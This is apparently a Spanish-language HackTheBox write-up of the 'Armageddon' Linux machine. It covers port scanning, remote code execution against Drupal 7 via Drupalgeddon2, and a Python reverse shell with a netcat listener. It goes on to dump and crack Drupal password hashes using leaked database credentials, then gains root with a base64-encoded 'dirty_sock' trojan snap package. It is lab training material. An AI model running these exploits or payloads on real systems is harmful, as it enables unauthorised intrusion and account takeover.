

# Write-up

## Máquina Armageddon



Autor: J0lm3d0





## Índice

| 1.        | Introducción  | 2                  |
|-----------|---|--------------------|
| <b>2.</b> | Enumeración de servicios y recopilación de información sensible | 3                  |
| 3.        | Acceso a la máquina   | 5                  |
| 4.        | Escalada de privilegios         4.1. Usuario brucetherealadmin  | <b>6</b><br>6<br>8 |

### 1. Introducción

En este documento se recogen los pasos a seguir para la resolución de la máquina Armageddon de la plataforma HackTheBox. Se trata de una máquina Linux de 64 bits, que posee una dificultad fácil de resolución según la plataforma.

Para comenzar a atacar la máquina se debe estar conectado a la VPN de HackTheBox o, si se cuenta con un usuario VIP, lanzar una instancia de la máquina ofensiva que nos ofrece la plataforma. Después, hay que desplegar la máquina en cuestión y, una vez desplegada, se mostrará la IP que tiene asignada y se podrá empezar a atacar.

Este documento ha sido creado para aportar a la comunidad mi resolución personal de la máquina vulnerable en cuestión y está abierto a comentarios sobre cualquier fallo detectado (tanto a nivel técnico como gramático a la hora de escribir el documento) y a críticas constructivas para así mejorar de cara al futuro.



### 2. Enumeración de servicios y recopilación de información sensible

Para comenzar, realizo un escaneo de todo el rango de puertos TCP mediante la herramienta  ${\it Nmap}.$ 

| Not sho              | own: 65 | 5533 clos | sed ports |       |  |  |  |
|----------------------|---------|-----------|-----------|-------|--|--|--|
| Reason: 65533 resets |         |           |           |       |  |  |  |
| PORT                 | STATE   | SERVICE   | REASON    |       |  |  |  |
| 22/tcp               | open    | ssh       | syn-ack t | tl 63 |  |  |  |
| 80/tcp               | open    | http      | syn-ack t | tl 63 |  |  |  |

Figura 1: Escaneo de todo el rango de puertos TCP

En la figura 1 se puede observar los puertos que la máquina tiene abiertos. Después, aplico scripts básicos de enumeración y utilizo la flag -sV para intentar conocer la versión y servicio que están ejecutando cada uno de los puertos que he detectado abiertos (Figura 2).



Figura 2: Enumeración de los puertos abiertos

Los scripts de **Nmap** me muestran algunas cosas interesantes, como el servidor web utilizado (Apache 2.4.6), la versión de PHP y que se emplea un gestor de contenidos Drupal (versión 7). También me indica algunas rutas deshabilitadas en el fichero "robots.txt". Al tratarse de un gestor de contenidos Drupal, consigo enumerar la versión exacta accediendo al fichero "CHANGELOG.txt", tal y como se observa en la figura 3, donde nos aparece el listado de cambios de la última versión instalada y de las versiones anteriores.



Figura 3: Fichero "CHANGELOG" del servidor web

Con esta versión de Drupal y la pista que ofrece el nombre de la máquina (Armageddon), el primer vector de ataque que se me ocurre probar es el exploit "Drupalgeddon2", que consiste en una Ejecución Remota de Código (RCE) sin necesidad de autenticarnos en el gestor de contenido. Al buscar en **SearchSploit**, encuentro 3 exploits correspondientes a "Drupalgeddon2", 2 escritos en Ruby (uno de ellos para Metasploit) y 1 escrito en Python, tal y como se puede ver en la figura 4.

| <pre>(root@offsec)-[/home/j0lm3d0/Documentos/HTB/Armageddon/scan] # searchsploit Drupal 7.56</pre>  |  |  |  |
|---|--|--|--|
| Exploit Title   |  |  |  |
| Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit)<br>Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC)<br>Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution<br>Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit)<br>Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit)<br>Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC)<br>Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)<br>Drupal < 8.6.10 / < 8.5.11 - REST Module Remote Code Execution<br>Drupal < 8.6.9 - REST Module Remote Code Execution |  |  |  |

Figura 4: Búsqueda de exploits para la versión de Drupal

Probare primero con el script en Ruby, cuyo identificador en Exploit-DB es 44449.

#### 3. Acceso a la máquina

Como se observa en la figura 5, tras ejecutar el script y pasarle como argumento la URL del servidor vulnerable, consigo conectarme a la máquina víctima como el usuario "apache". El script simula una shell, aunque se trata de una fake-shell, ya que lo que hace es subir un archivo PHP malicioso al servidor y tramitar una petición HTTP con cada comando que recibe.



Figura 5: Ejecución del exploit y conexión a la máquina víctima

Una vez dentro de la máquina víctima, me envío una shell a mi máquina de atacante utilizando algunas sentencias de Python3, tal y como se puede apreciar en al figura 6, para así trabajar de una forma más cómoda en la escalada de privilegios.

| armageddon.htb>> python3 -c 'import socket,subprocess,os;s=socket.socket(socket |
|---|
| -   |
|   |
|   |
|   |
|   |
|   |
| <pre>(root@offsec)-[/home/i0lm3d0/Documentos/HTB/Armageddon/explotation]</pre>  |
| -# nc -lvnp 443   |
| listening on [any] 443  |
| connect to [10.10.14.168] from (UNKNOWN) [10.10.10.233] 56512                   |
| bash- no job control in ints shell  |
| busii-4.2p  |

Figura 6: Envío de una shell mediante Python3 a la máquina atacante



#### 4. Escalada de privilegios

#### 4.1. Usuario brucetherealadmin

Una vez obtengo la "reverse shell", me pongo a buscar dentro del directorio del servidor web archivos de configuración en PHP, ya que estos pueden contener credenciales en texto claro. En mi caso, utilizaré **Grep** para filtrar por ficheros o directorios que contengan las palabras "config" o "settings" en el nombre, tal y como puede verse en la figura 7.





De los resultados obtenidos, el que más me llama la atención es el fichero "settings.php". Al abrir el archivo y buscar en él, visualizo la estructura que se muestra en la figura 8, correspondiente a las credenciales de una base de datos local.



Figura 8: Credenciales de la base de datos local

Con esas credenciales, utilizo la interfaz de línea de comandos de MySQL para acceder a la base de datos y ver su contenido. En primer lugar, listo las tablas que componen la base de datos "drupal" y que tengan contenido relativo a los usuarios, filtrando con Grep por las palabras "user" y "pass", tal y como se puede ver en la figura 9.

De las tablas que he obtenido, la que más me interesa es la de "users". Si utilizamos la sentencia "describe" podemos ver los campos que componen la tabla y, como se observa



mysql -udrupaluser -pCQHEy@9M\*m23gBVj -e "SHOW TABLES FROM drupal;" | grep -i -E "user|pass" shortcut\_set\_users users users\_roles bash-4.2\$ \_

Figura 9: Tablas con contenido relativo a los usuarios

en la figura 10, uno de ellos es el campo "pass".

| mysql -ı | idrupalus | er -pCQH | IEy@9M*m2 | .3gBVj −D | ) drupal | -e "desc | ribe users;" |
|----------|-----------|----------|-----------|-----------|----------|----------|--------------|
| Field    | Туре      | Null     | Key       | Default   | Extra    |          |              |
| uid      | int(10)   | unsigned |           | NO        | PRI      | 0        |              |
| name     | varchar(  | 60)      | NO        | UNI       |          |          |              |
| pass     | varchar(  | 128)     | NO        |           |          |          |              |
| mail     | varchar(  | 254)     | YES       | MUL       |          |          |              |
| theme    | varchar(  | 255)     | NO        |           |          |          |              |
| signatur | e         | varchar( | 255)      | NO        |          |          |              |
| signatur | e_format  |          | varchar(  | 255)      | YES      |          | NULL         |
| created  | int(11)   | NO       | MUL       | 0         |          |          |              |
| access   | int(11)   | NO       | MUL       | 0         |          |          |              |
| login    | int(11)   | NO       |           | 0         |          |          |              |
| status   | tinyint(  | 4)       | NO        |           | 0        |          |              |
| timezone |           | varchar( | 32)       | YES       |          | NULL     |              |
| language |           | varchar( | 12)       | NO        |          |          |              |
| picture  | int(11)   | NO       | MUL       | 0         |          |          |              |
| init     | varchar(  | 254)     | YES       |           |          |          |              |
| data     | lonablob  | )        | YES       |           | NULL     |          |              |

Figura 10: Campos de la tabla "users"

Por tanto, utilizo la sentencia "select" para obtener los nombres de usuario y sus respectivas contraseñas, obteniendo el resultado que se muestra en la figura 11.



Figura 11: Hash de las contraseñas de los usuarios

De estos usuarios, los que más me interesan son "brucetherealadmin" y "toto", ya que los otros son usuarios aleatorios creados. Tras una rápida revisión del fichero "/etc/passwd" de la máquina, veo que "brucetherealadmin" es un usuario existente en el sistema Linux, por lo que me centrare primero en este usuario. Copio el hash de la contraseña que hemos obtenido a un fichero y aplico un ataque de fuerza bruta con **John The Ripper** para intentar obtener la contraseña en texto claro, tal y como se muestra en la figura 12.

Con la contraseña obtenida me conecto mediante el servicio SSH y visualizo la flag de usuario en la máquina víctima, tal y como se ve en la figura 13.





Figura 12: Contraseña en texto claro del usuario "brucetherealadmin"



Figura 13: Flag de usuario no privilegiado

#### 4.2. Usuario root

Una vez que he conseguido escalar privilegios al usuario "brucetherealadmin", debo seguir escalando hasta llegar a ser administrador o root. Con el comando "sudo - l" compruebo si puede ejecutarse algún archivo con privilegios de otro usuario o sin proporcionar contraseña. En este caso, tal y como se puede ver en la figura 14, se puede ejecutar "snap install" seguido de cualquier argumento como el usuario "root" y sin proporcionar contraseña.

```
[brucetherealadmin@armageddon ~]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
    !visiblepw, always_set_home, match_group_by_gid, always_query_gro
    LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_N"
User brucetherealadmin may run the following commands on armageddon:
    (root) NOPASSWD: /usr/bin/snap install *
```

Figura 14: Listado de comandos que puede ejecutar mediante "sudo" el usuario

Investigando por internet formas de escalar privilegios mediante **Snap**, encuentro el exploit "dirty\_sock" en ExploitDB. Tras observar el exploit veo que, mediante un payload codificado en Base64 y que puede verse en la figura 15, crea un fichero .snap malicioso que, al instalarlo, creará un usuario "dirty\_sock" que estará dentro del grupo "sudo", por lo que puedo convertirme en root ejecutando un 'sudo su' y proporcionando la contraseña del nuevo usuario creado.

# The following global is a base64 encoded string representing an installable # snap package. The snap itself is empty and has no functionality. It does, # however, have a bash-script in the install hook that will create a new user. # For full details, read the blog linked on the github page above. TROJAN SNAP = (''' aHNxcwcAAAAQIVZcAAACAAAAAAAAABEABEA0AIBAAQAAADgAAAAAAAAI4DAAAAAAAhgMAAAAAAAA/ ZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5 TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFT0TdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERo T2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawpl Y2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxM0kFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFt ZTogZGlydHktc29jawp2ZXJzaW9u0iAnMC4xJwpzdW1tYXJ50iBFbXB0eSBzbmFwLCB1c2VkIGZv ciBleHBsb2l0CmRlc2NyaXB0aW9u0iAnU2VlIGh0dHBz0i8vZ2l0aHViLmNvbS9pbml0c3RyaW5n L2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVz0gotIGFtZDY0CmNvbmZpbmVtZW500iBkZXZt b2RlCmdyYWRl0iBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAe rFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa105k6KmvF3FqfKH62alux0VeNQ7Z00lddaUj rkpxz0ET/XVL0ZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAA AAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn00AAnABLXQAAan87Em73BrVRGmIBM8q2 XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5 RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 'A' \* 4256 + '==')

Hack The Box

Figura 15: Payload del exploit Dirty Sock

Por tanto, creo un fichero con el contenido del payload decodificado y ejecuto el comando "snap install" con la flag "devmode" y pasandole el archivo .snap malicioso como argumento. Tras esto, el usuario "dirty\_sock" está creado y puedo migrarme a él proporcionando la contraseña, que también es "dirty\_sock". Por último, ejecuto un "sudo su" y vuelvo a proporcionar la contraseña del usuario "dirty\_sock", convirtiéndome así en root y pudiendo visualizar la flag final. El procedimiento seguido se puede observar en la figura 16.



Figura 16: Obtención de una shell con privilegios de "root" y de la flag final